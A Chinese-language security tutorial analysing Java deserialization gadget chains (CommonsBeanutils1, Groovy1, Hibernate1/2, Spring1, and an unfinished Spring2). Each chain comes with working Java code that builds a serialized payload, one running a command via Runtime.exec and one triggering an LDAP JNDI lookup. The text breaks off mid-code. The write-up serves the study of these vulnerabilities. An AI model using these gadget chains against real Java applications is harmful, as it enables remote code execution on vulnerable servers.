Java 反序列化漏洞(三) - CB/Groovy/Hibernate/Spring

CommonsBeanutils1

commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对 bean 对象的属性进行各种操作。

其中比较常使用的有 MethodUtils/ConstructorUtils/PropertyUtils/BeanUtils/ConvertUtils
等。

在之前的利用链中,有这样一条链:

PriorityQueue -> TransformingComparator -> ChainedTransformer -> InstantiateTransformer -> TemplatesImpl

在反序列化链中,由 TransformingComparator 触发 ChainedTransformer 来实例化 TemplatesImpl,那能不能找到一个 Comparator,绕过中间复杂过程,直接实例化 TemplatesImpl 呢?

于是有了 CommonsBeanutils 这条链。

前置知识

PropertyUtils

org.apache.commons.beanutils.PropertyUtils 类使用 Java 反射 API 来调用 Java 对象上的通用属性 getter 和 setter 操作的实用方法。这些方法的具体使用逻辑其实是由 org.apache.commons.beanutils.PropertyUtilsBean 来实现的。

这个类有个共有静态方法 getProperty() ,接收两个参数 bean (类对象)和 name(属性名),方法会返回这个类的这个属性的值。

类似于一个 Field 的反射工具类,不过不是直接使用反射取值,而是使用反射调用其 getter 方法取值。

那么既然可以触发 getter,那就可以像 fastjson 一样来触发 TemplatesImpl 的 getOutputProperties 方法,触发后续的调用链。

BeanComparator

BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean 是否相等的类,其实现了java.util.Comparator 接口。

BeanComparator 在初始化时可以指定 property 属性名称和 comparator 对比器,如果不指定,则默认是 ComparableComparator 。

BeanComparator 的 compare 方法接收两个对象,分别调用 PropertyUtils.getProperty() 方法获取两个对象的 property 属性的值,然后调用 internalCompare() 方法调用实例化时初始化的 comparator 的 compare 方法进行比较。

有了这个方法,就构造了完整的调用链。

攻击构造

最终的攻击代码为:

public class CommonBeanUtils {

	public static String fileName = "CommonBeanUtils.bin";

	public static void main(String[] args) throws Exception {

		// 读取恶意类 bytes[]
		InputStream inputStream = CommonBeanUtils.class.getResourceAsStream("EvilClassForCB.class");
		byte[]      bytes       = new byte[inputStream.available()];
		inputStream.read(bytes);

		// 初始化 PriorityQueue
		PriorityQueue<Object> queue = new PriorityQueue<>(2);
		queue.add("1");
		queue.add("2");

		// 初始化 TemplatesImpl 对象
		TemplatesImpl tmpl      = new TemplatesImpl();
		Field         bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
		bytecodes.setAccessible(true);
		bytecodes.set(tmpl, new byte[][]{bytes});
		// _name 不能为空
		Field name = TemplatesImpl.class.getDeclaredField("_name");
		name.setAccessible(true);
		name.set(tmpl, "su18");

		// 反射将 TemplatesImpl 放在 PriorityQueue 里
		Field field = PriorityQueue.class.getDeclaredField("queue");
		field.setAccessible(true);
		Object[] objects = (Object[]) field.get(queue);
		objects[0] = tmpl;

		// 初始化 BeanComparator
		BeanComparator beanComparator = new BeanComparator("outputProperties");

		// 反射将 BeanComparator 写入 PriorityQueue 中
		Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
		field2.setAccessible(true);
		field2.set(queue, beanComparator);

		SerializeUtil.writeObjectToFile(queue, fileName);
		SerializeUtil.readFileObject(fileName);
	}
}

以上代码可成功构造反序列化利用,但是有一个问题是,由于 BeanComparator 的默认 comparator 是 ComparableComparator ,这是个 CommonCollections 中的类,导致了这明明是一条 CB 的触发链,却要同时依赖 CC。增加了很多利用的限制,那该如何逃出 CC 的依赖呢?

答案在实例化 BeanComparator 时赋予其一个 JDK 自带的并且实现了 Serializable 接口的 comparator 即可,比如 java.util.Collections$ReverseComparatorjava.lang.String$CaseInsensitiveComparator 等。

通过反射实例化 Comparator ,并在 BeanComparator 初始化时进行指定即可:

// 初始化 String$CaseInsensitiveComparator
Class       c           = Class.forName("java.lang.String$CaseInsensitiveComparator");
Constructor constructor = c.getDeclaredConstructor();
constructor.setAccessible(true);
Comparator comparator = (Comparator<?>) constructor.newInstance();

// 初始化 BeanComparator
BeanComparator beanComparator = new BeanComparator("outputProperties", comparator);

这样就可以无需 CC 的依赖触发 CB 链了。

总结

以上就是 CB 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • PriorityQueue 反序列化时调用 BeanComparator 的 compare,利用这个方法发射调用 TemplatesImpl 的 getOutputProperties 方法触发恶意类的实例化。
  2. Gadget 总结:
    • kick-off gadget:java.util.PriorityQueue#readObject()
    • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()
    • chain gadget:org.apache.commons.beanutils.BeanComparator#compare()
  3. 调用链展示:
PriorityQueue.readObject()
    BeanComparator.compare()
            PropertyUtils.getProperty()
                PropertyUtilsBean.getProperty()
                    TemplatesImpl.getOutputProperties()
  1. 依赖版本

commons-beanutils : 1.9.2
commons-collections : 2.0-3.2.2
commons-loggings : 1.2

Groovy1

Groovy 是一种基于 JVM 的开发语言,具有类似于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言。groovy 编译之后生成 .class 文件,与 Java 编译生成的无异,因此可以在 JVM 上运行。

在项目中可以引用 Groovy 的相关包依赖,分为核心包和模块包,如果想依赖全部包,可以使用 groovy-all。本条利用 Gadget 就是在 groovy 核心包中。

前置知识

MethodClosure

org.codehaus.groovy.runtime.MethodClosure 是方法闭包,使用闭包代表了一个对象的一个方法,可以很方便的调用。

MethodClosure 初始化时接收两个参数,一个是对象,一个是对象的方法名称。

MethodClosure 中有一个 doCall 方法,调用 InvokerHelper.invokeMethod() 方法进行方法调用。

这样就可以使用 MethodClosure 执行系统命令:

MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
Method        m  = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
m.setAccessible(true);
m.invoke(mc, "open -a Calculator.app");

String.execute() 方法

Groovy 为 String 类型添加了 execute() 方法,以便执行 shell 命令,这个方法会返回一个 Process 对象。也就是说,在 Groovy 中,可以直接使用 "ls".execute() 这种方法来执行系统命令 “ls”。

写法非常简单,例如:

实际上就是调用 Runtime.getRuntime().exec() 方法执行系统命令:

在 Java 中,就可以直接写做:

MethodClosure methodClosure = new MethodClosure("open -a Calculator.app", "execute");
methodClosure.call();

ConvertedClosure

org.codehaus.groovy.runtime.ConvertedClosure 是一个通用适配器,用于将闭包适配到 Java 接口。ConvertedClosure 实现了 ConversionHandler 类,而 ConversionHandler 又实现了 InvocationHandler。所以说 ConvertedClosure 本身就是一个动态代理类。

ConvertedClosure 的构造方法接收一个 Closure 对象和一个 String 类型的 method 方法名,也就是说 ConvertedClosure 会代理这个 Closure 对象,当调用其 method 方法时,将会调用 ConvertedClosure 父类的 invoke 方法,除了 toString 和一些默认方法外,会调用 invokeCustom 方法。

如果初始化时指定的 method 与 invokeCustom 指定的 method 参数相同,则 invokeCustom 方法将会调用代理对象 Closure 的 call 方法执行传入参数执行。

看到这里就明白这条链的触发逻辑了。后面自然是使用 AnnotationInvocationHandler 将 ConvertedClosure 代理成 Map 类。这样在反序列化

攻击构造

最终的恶意代码为:

public class Groovy {

	public static String fileName = "Groovy.bin";

	public static void main(String[] args) throws Exception {

		//封装我们需要执行的对象
		MethodClosure    methodClosure = new MethodClosure("open -a Calculator.app", "execute");
		ConvertedClosure closure       = new ConvertedClosure(methodClosure, "entrySet");

		Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor<?> constructor = c.getDeclaredConstructors()[0];
		constructor.setAccessible(true);

		// 创建 ConvertedClosure 的动态代理类实例
		Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(),
				new Class[]{Map.class}, closure);

		// 使用动态代理初始化 AnnotationInvocationHandler
		InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);

		SerializeUtil.writeObjectToFile(invocationHandler, fileName);
		SerializeUtil.readFileObject(fileName);
	}
}

这条链是非常优雅非常漂亮的一条调用链,需要对动态代理和 Groovy 相关技术的细节了解十分到位。

总结

以上就是 Groovy 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • AnnotationInvocationHandler 反序列化时调用 memberValues 中存放对象的 entrySet 对象,这个对象是 ConvertedClosure,而这个对象又实际上是 MethodClosure 对象的代理,定义了在调用 entrySet 方法时会调用 invoke 方法去调用 MethodClosure 的 call 方法,触发 Groovy 中 String 类型的 execute 方法执行命令。
  2. Gadget 总结:
    • kick-off gadget:sun.reflect.annotation.AnnotationInvocationHandler#readObject()
    • sink gadget:org.codehaus.groovy.runtime.MethodClosure#doCall()
    • chain gadget:org.codehaus.groovy.runtime.ConvertedClosure#invokeCustom()
  3. 调用链展示:
AnnotationInvocationHandler.readObject()
    Map.entrySet() (Proxy)
        ConversionHandler.invoke()
            ConvertedClosure.invokeCustom()
		        MethodClosure.call()
                    ProcessGroovyMethods.execute()
  1. 依赖版本

Groovy : 1.7.0-2.4.3

Hibernate1

Hibernate 是开源的一个 ORM 框架,用户量极其庞大,Hibernate1 依旧是利用 TemplatesImpl 这个类,找寻 _outputProperties 的 getter 方法的调用链。

前置知识

BasicPropertyAccessor

在 hibernate 中定义了一个接口 org.hibernate.property.PropertyAccessor,定义了获取一个类的属性值的相关策略。

接口中有两个方法,分别是 getGetter()getSetter(),接收 Class 对象和属性名,返回 org.hibernate.property.Getterorg.hibernate.property.Setter 对象。

org.hibernate.property.BasicPropertyAccessor 是对 PropertyAccessor 的标准实现,在这个类中,首先定义了 BasicGetter 和 BasicSetter 两个实现类,重点关注 BasicGetter 类。

BasicGetter 类实例化时接收 3 个参数,分别是 Class 对象,Method 方法和属性名 propertyName。BasicGetter 的 get 方法接收一个对象实例,并调用 method.invoke() 方法反射调用这个 Method 方法。

接下来回到 BasicPropertyAccessor,类的 getGetter 方法调用 createGetter 方法又调用 getGetterOrNull 方法来创建 BasicSetter,其中有一个重要的方法 getterMethod,这个方法通过指定的 Class 类以及 propertyName 属性名来查找在这个类中这个属性的 Getter Method。

可以看到这个方法的逻辑是这样的:

  • 调用 Class 的 getDeclaredMethods 方法获取全部方法
  • Getter 方法不应该有参数,如果 Method 的参数类型数量不等于0,则跳过
  • 如果方法类型是 BRIDGE,则跳过
  • 获取方法名,如果以 get 或 is 开头,则可能为 getter 方法,sub 掉前缀后进行字符串的对比,在 Introspector.decapitalize() 方法中还进行的首字母大小写的处理。

介绍到这里其实就可以了,这个类非常非常好理解,总结来说就是 BasicPropertyAccessor 的 getGetter 方法由类 Class 和属性名返回 BasicGetter 对象,调用这个对象的 get 方法传入类实例即可调用其满足条件的 getter 方法。

这种情况下就可以使用这个类来触发 TemplatesImpl 的恶意调用了,示例代码如下:

TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
BasicPropertyAccessor bpa    = new BasicPropertyAccessor();
Getter   getter = bpa.getGetter(TemplatesImpl.class, "outputProperties");
getter.get(tmpl);

我这里为了方便理解用了 BasicPropertyAccessor ,实际上也可以直接反射调用 BasicPropertyAccessor$BasicGetter 的相关方法。

AbstractComponentTuplizer

有了上面的发现,接下来我们要找在哪里可以调用 Getter 呢?

抽象类 org.hibernate.tuple.component.AbstractComponentTuplizer 中定义了成员变量 getters,并可以通过 getPropertyValues() 方法进行调用。

但是抽象类我们无法调用,只能使用它的子类,AbstractComponentTuplizer 有两个子类,一个是 PojoComponentTuplizer,一个是 DynamicMapComponentTuplizer,这对应着 Hibernate 的实体对象的类型,即 pojo 和 dynamic-map。pojo 代表将 Hibernate 类型映射为 Java 实体类,而 dynamic-map 将映射为 Map 对象。

这里选择 PojoComponentTuplizer 类,他的 getPropertyValues() 方法会调用其父类的此方法。

那么这个方法又在哪被调用了呢?我们借助 Idea 的查找功能发现调用点并不多,其中一个是 ComponentType#getPropertyValue 方法调用。

这个方法是干什么的呢?请看下一节。

TypedValue

org.hibernate.engine.spi.TypedValue 类是一个 final class,用来映射一个 Object 的值和对应的 Hibernate type。

Hibernate 中定义了一个自己的类型接口 org.hibernate.type.Hibernate.Type,用来定义 Java 类型和一个或多个 JDBC 类型之间的映射。针对不同的类型有不同的实现类,开发人员也可以自己实现这个接口来自定义类型。

而 TypedValue 就同时储存一个 Type 和 Object 的映射。上一部分最后提到的 ComponentType 就是 Type 的实现类。

TypedValue 初始化时,除了赋值 type、value 操作外,还调用了 initTransients 方法对 hashcode 属性进行了初始化。

初始化时新创建了一个 ValueHolder 对象,并为其赋予了一个新的 DeferredInitializer 对象并重写了 initialize() 方法,这个方法是本条 gadget 的关键。

由于对反序列化触发点的敏感性,我们首先发现 TypedValue 的 hashCode() 方法调用了成员变量 hashcode.getValue() 方法,这个方法又会调用 DeferredInitializer 的 initialize() 方法,就是之前我们初始化的那个。

在重写的 initialize() 方法里调用了 type 的 getHashCode() 方法,并将 value 传入。那此时如果这个 Type 类型为 ComponentType,则会调用其 getHashCode 方法:

在这里调用了 getPropertyValue 方法完成了调用链的构造。而 TypedValue 的 hashCode 方法使用 HashMap 触发即可 。

GetterMethodImpl

在 Hibernate1 5.x 里,实现了 org.hibernate.property.access.spi.GetterMethodImpl 类,这个类能够替代 BasicPropertyAccessor$BasicGetter.get() 来调用 getter 方法。

这个类初始化时直接接收一个 Method,而 get 方法直接调用,可以用来执行任意方法。

攻击构造

不得不说,Hibernate1 这条链的构造很长,也十分复杂,由于本人对 Hibernate 的使用不多,相关类的实际意义了解不足,所以在此仅仅是对 Gadget 链的构造进行了分析和拆解。综合以上的知识点,构造出来的恶意代码为:

public class Hibernate1 {

	public static String fileName = "Hibernate1.bin";

	public static void main(String[] args) throws Exception {

		Class<?> componentTypeClass             = Class.forName("org.hibernate.type.ComponentType");
		Class<?> pojoComponentTuplizerClass     = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
		Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


		// 生成包含恶意类字节码的 TemplatesImpl 类
		TemplatesImpl tmpl   = SerializeUtil.generateTemplatesImpl();
		Method        method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");

		Object getter;
		try {
			// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
			Class<?>       getterImpl  = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
			Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
			constructor.setAccessible(true);
			getter = constructor.newInstance(null, null, method);
		} catch (Exception ignored) {
			// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
			Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
			Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
			constructor.setAccessible(true);
			getter = constructor.newInstance(tmpl.getClass(), method, "outputProperties");
		}

		// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
		Object tuplizer = SerializeUtil.createInstanceUnsafely(pojoComponentTuplizerClass);

		// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
		Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
		field.setAccessible(true);
		Object getters = Array.newInstance(getter.getClass(), 1);
		Array.set(getters, 0, getter);
		field.set(tuplizer, getters);

		// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
		Object type = SerializeUtil.createInstanceUnsafely(componentTypeClass);

		// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
		Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
		field1.setAccessible(true);
		field1.set(type, tuplizer);

		Field field2 = componentTypeClass.getDeclaredField("propertySpan");
		field2.setAccessible(true);
		field2.set(type, 1);

		Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
		field3.setAccessible(true);
		field3.set(type, new Type[]{(Type) type});

		// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
		TypedValue typedValue = new TypedValue((Type) type, null);

		// 创建反序列化用 HashMap
		HashMap<Object, Object> hashMap = new HashMap<>();
		hashMap.put(typedValue, "su18");

		// put 到 hashmap 之后再反射写入,防止 put 时触发
		Field valueField = TypedValue.class.getDeclaredField("value");
		valueField.setAccessible(true);
		valueField.set(typedValue, tmpl);

		SerializeUtil.writeObjectToFile(hashMap, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

此时需要注意的是,在不同版本中,由于部分类的更新交替,利用的 Gadget 细节则不同。ysoserial 中也根据不同情况给出了需要修改的利用链:

  • 使用 org.hibernate.property.access.spi.GetterMethodImpl 替代 org.hibernate.property.BasicPropertyAccessor$BasicGetter
  • 使用 org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping 来对 PojoComponentTuplizer 进行封装。

由于 3.x 版本过于老旧,具体实现方式这里不进行实现,道理都是一致的。

总结

以上就是 Hibernate1 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 由 HashMap 的反序列化触发 TypedValue 的 hashCode,调用到 ComponentType 的 getHashCode 方法,调用 PojoComponentTuplizer 的 getPropertyValue 的方法,然后使用 BasicPropertyAccessor$BasicGetter 调用 get 方法,触发 TemplatesImpl 的 getOutputProperties 方法。
  2. Gadget 总结:
    • kick-off gadget:java.util.HashMap#readObject()
    • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()
    • chain gadget:org.hibernate.tuple.component.PojoComponentTuplizer#getPropertyValues()
  3. 调用链展示:
HashMap.readObject()
    TypedValue.hashCode()
        ValueHolder.getValue()
            ValueHolder.DeferredInitializer().initialize()
                ComponentType.getHashCode()
		            PojoComponentTuplizer.getPropertyValue()
                        AbstractComponentTuplizer.getPropertyValue()
                            BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get()
                                TemplatesImpl.getOutputProperties()
  1. 依赖版本

Hibernate : 3-5

Hibernate2

既然是触发 getter 方法,这就让我们想到了 fastjson 的经典触发方式,除了 TemplatesImpl 实例化恶意类字节码,还有 JdbcRowSetImpl 触发恶意 JNDI 查询,Hibernate2 就是这种方式,不知道这两个漏洞是谁先出的,谁借鉴的谁。

在 fastjson 中使用 JdbcRowSetImpl 的 setAutoCommit(setter)方法触发 JNDI 查询,而在 Hibernate2 中由于是触发 getter 方法,因此我们选择 getDatabaseMetaData

攻击构造

JdbcRowSetImpl 这里也不再赘述了,直接上代码:

public class Hibernate2 {

	public static String fileName = "Hibernate2.bin";

	public static void main(String[] args) throws Exception {

		Class<?> componentTypeClass             = Class.forName("org.hibernate.type.ComponentType");
		Class<?> pojoComponentTuplizerClass     = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
		Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");


		// 实例化 JdbcRowSetImpl 类
		JdbcRowSetImpl rs = new JdbcRowSetImpl();
		rs.setDataSourceName("ldap://127.0.0.1:23457/Command8");
		Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");

		Object getter;
		try {
			// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
			Class<?>       getterImpl  = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
			Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
			constructor.setAccessible(true);
			getter = constructor.newInstance(null, null, method);
		} catch (Exception ignored) {
			// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
			Class<?>       basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
			Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
			constructor.setAccessible(true);
			getter = constructor.newInstance(rs.getClass(), method, "databaseMetaData");
		}

		// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
		Object tuplizer = SerializeUtil.createInstanceUnsafely(pojoComponentTuplizerClass);

		// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
		Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
		field.setAccessible(true);
		Object getters = Array.newInstance(getter.getClass(), 1);
		Array.set(getters, 0, getter);
		field.set(tuplizer, getters);

		// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
		Object type = SerializeUtil.createInstanceUnsafely(componentTypeClass);

		// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
		Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
		field1.setAccessible(true);
		field1.set(type, tuplizer);

		Field field2 = componentTypeClass.getDeclaredField("propertySpan");
		field2.setAccessible(true);
		field2.set(type, 1);

		Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
		field3.setAccessible(true);
		field3.set(type, new Type[]{(Type) type});

		// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
		TypedValue typedValue = new TypedValue((Type) type, null);

		// 创建反序列化用 HashMap
		HashMap<Object, Object> hashMap = new HashMap<>();
		hashMap.put(typedValue, "su18");

		// put 到 hashmap 之后再反射写入,防止 put 时触发
		Field valueField = TypedValue.class.getDeclaredField("value");
		valueField.setAccessible(true);
		valueField.set(typedValue, rs);

		SerializeUtil.writeObjectToFile(hashMap, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

总结

以上就是 Hibernate2 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 前期调用链一样,最后的触发点由 TemplatesImpl 的 getOutputProperties 方法换为 JdbcRowSetImpl 的 getDatabaseMetaData
  2. Gadget 总结:
    • kick-off gadget:java.util.HashMap#readObject()
    • sink gadget:com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData()
    • chain gadget:org.hibernate.tuple.component.PojoComponentTuplizer#getPropertyValues()
  3. 调用链展示:
HashMap.readObject()
    TypedValue.hashCode()
        ValueHolder.getValue()
            ValueHolder.DeferredInitializer().initialize()
                ComponentType.getHashCode()
                    PojoComponentTuplizer.getPropertyValue()
                        AbstractComponentTuplizer.getPropertyValue()
                            BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get()
                                JdbcRowSetImpl.getDatabaseMetaData()
  1. 依赖版本

Hibernate : 3-5

Spring1

前置知识

MethodInvokeTypeProvider

在 Spring 核心包中存在这样一个内部类:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider,这个类实现了 TypeProvider 接口,是一个可以被反序列化的类。

看一下 readObject 方法,调用了 ReflectionUtils 先是 findMethod 返回 Method 对象然后紧接着调用 invokeMethod 反射调用。注意,这里的调用是无参调用。

不过是在 this.provider.getType().getClass() 中寻找。如果在这里把 methodName 改为 newTransformer 方法,然后把 this.provider.getType() 想办法处理成 TemplatesImpl ,就可以触发漏洞了。

ObjectFactoryDelegatingInvocationHandler

org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler 是 InvocationHandler 的实现类,实例化时接收一个 ObjectFactory 对象,并在 invoke 代理时调用 ObjectFactory 的 getObject 方法返回 ObjectFactory 的实例用于 Method 的反射调用。

ObjectFactory 的 getObject 方法返回的对象是泛型的,那就可以可用 AnnotationInvocationHandler 来代理,返回任意对象。

而 ObjectFactoryDelegatingInvocationHandler 自己本身就是代理类,可以用它代理之前的TypeProvider 的 getType 方法。

攻击构造

Spring1 的动态代理构造有些复杂,建议大家先看前面两个前置知识里写的类自己思考一下怎么将其结合,这里尽量拆分代码:

public class Spring1 {

	public static String fileName = "Spring1.bin";

	public static void main(String[] args) throws Exception {

		// 生成包含恶意类字节码的 TemplatesImpl 类
		TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();

		// 使用 AnnotationInvocationHandler 动态代理
		Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor<?> constructor = c.getDeclaredConstructors()[0];
		constructor.setAccessible(true);

		HashMap<String, Object> map = new HashMap<>();
		map.put("getObject", tmpl);

		// 使用动态代理初始化 AnnotationInvocationHandler
		InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

		// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
		ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
				ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);

		// ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject
		// 并且会调用 method.invoke(返回值,args)
		// 此时返回值被我们使用动态代理改为了 TemplatesImpl
		// 接下来需要 method 是 newTransformer(),就可以触发调用链了
		Class<?>       clazz          = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
		Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
		ofdConstructor.setAccessible(true);
		// 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
		InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);

		// ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler
		// 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法
		// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
		// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
		Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
				new Class[]{Type.class, Templates.class}, ofdHandler);


		// 接下来代理  TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
		HashMap<String, Object> map2 = new HashMap<>();
		map2.put("getType", typeTemplateProxy);

		InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

		Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
		// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
		Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
				new Class[]{typeProviderClass}, newInvocationHandler);


		// 初始化 MethodInvokeTypeProvider
		Class<?>       clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
		Constructor<?> cons   = clazz2.getDeclaredConstructors()[0];
		cons.setAccessible(true);
		// 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())
		// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
		Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
		Field  field   = clazz2.getDeclaredField("methodName");
		field.setAccessible(true);
		field.set(objects, "newTransformer");

		SerializeUtil.writeObjectToFile(objects, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

总结

以上就是 Spring1 链分析的全部内容了,不得不说,动态代理真是让这帮人玩明白了,最后总结一下。

  1. 利用说明:
    • 多次动态代理,利用动态代理的反射调用机制延长调用链,Spring1 的链与 Groovy 有些类似。
  2. Gadget 总结:
    • kick-off gadget:org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider#readObject()
    • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
    • chain gadget:org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler#invoke()
  3. 调用链展示:
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
    SerializableTypeWrapper.TypeProvider(Proxy).getType()
	    AnnotationInvocationHandler.invoke()
		    ReflectionUtils.invokeMethod()
			    Templates(Proxy).newTransformer()
				    AutowireUtils$ObjectFactoryDelegatingInvocationHandler.invoke()
					    ObjectFactory(Proxy).getObject()
						    TemplatesImpl.newTransformer()
  1. 依赖版本

spring-core : 4.1.4.RELEASE
spring-beans : 4.1.4.RELEASE
jdk 1.7

Spring2

Spring2 在 Spring1 的触发链上有所变换,替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler,使用了 spring-aop 的 JdkDynamicAopProxy ,并完成了后续触发 TemplatesImpl 的流程。

前置知识

JdkDynamicAopProxy

org.springframework.aop.framework.JdkDynamicAopProxy 类是 Spring AOP 框架基于 JDK 动态代理的实现,同时其还实现了 AopProxy 接口。

我们来看一下 invoke 方法,获取 AdvisedSupport 里的 TargetSource,并调用 getTarget() 方法返回其中的对象。

调用 AopUtils#invokeJoinpointUsingReflection() 方法反射调用对象的 method 方法并返回。

方法里就是简单的反射调用。

由此我们可以看到 JdkDynamicAopProxy 这个 InvocationHandler 类可以出色的完成 TemplatesImpl 的对象调用,可以直接配合 Spring1 中的触发调用链。

攻击构造

与 Spring1 类似,直接上代码:

public class Spring2 {

	public static String fileName = "Spring2.bin";

	public static void main(String[] args) throws Exception {

		// 生成包含恶意类字节码的 TemplatesImpl 类
		TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();

		// 实例化 AdvisedSupport
		AdvisedSupport as = new AdvisedSupport();
		as.setTarget(tmpl);

		// 使用 AnnotationInvocationHandler 动态代理
		Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor<?> constructor = c.getDeclaredConstructors()[0];
		constructor.setAccessible(true);

		// JdkDynamicAopProxy 的 invoke 方法触发 TargetSource 的 getTarget 返回 tmpl
		// 并且会调用 method.invoke(返回值,args)
		// 此时返回值被我们使用动态代理改为了 TemplatesImpl
		// 接下来需要 method 是 newTransformer(),就可以触发调用链了
		Class<?>       clazz          = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
		Constructor<?> aopConstructor = clazz.getDeclaredConstructors()[0];
		aopConstructor.setAccessible(true);
		// 使用 AdvisedSupport 实例化 JdkDynamicAopProxy
		InvocationHandler aopProxy = (InvocationHandler) aopConstructor.newInstance(as);

		// JdkDynamicAopProxy 本身就是个 InvocationHandler
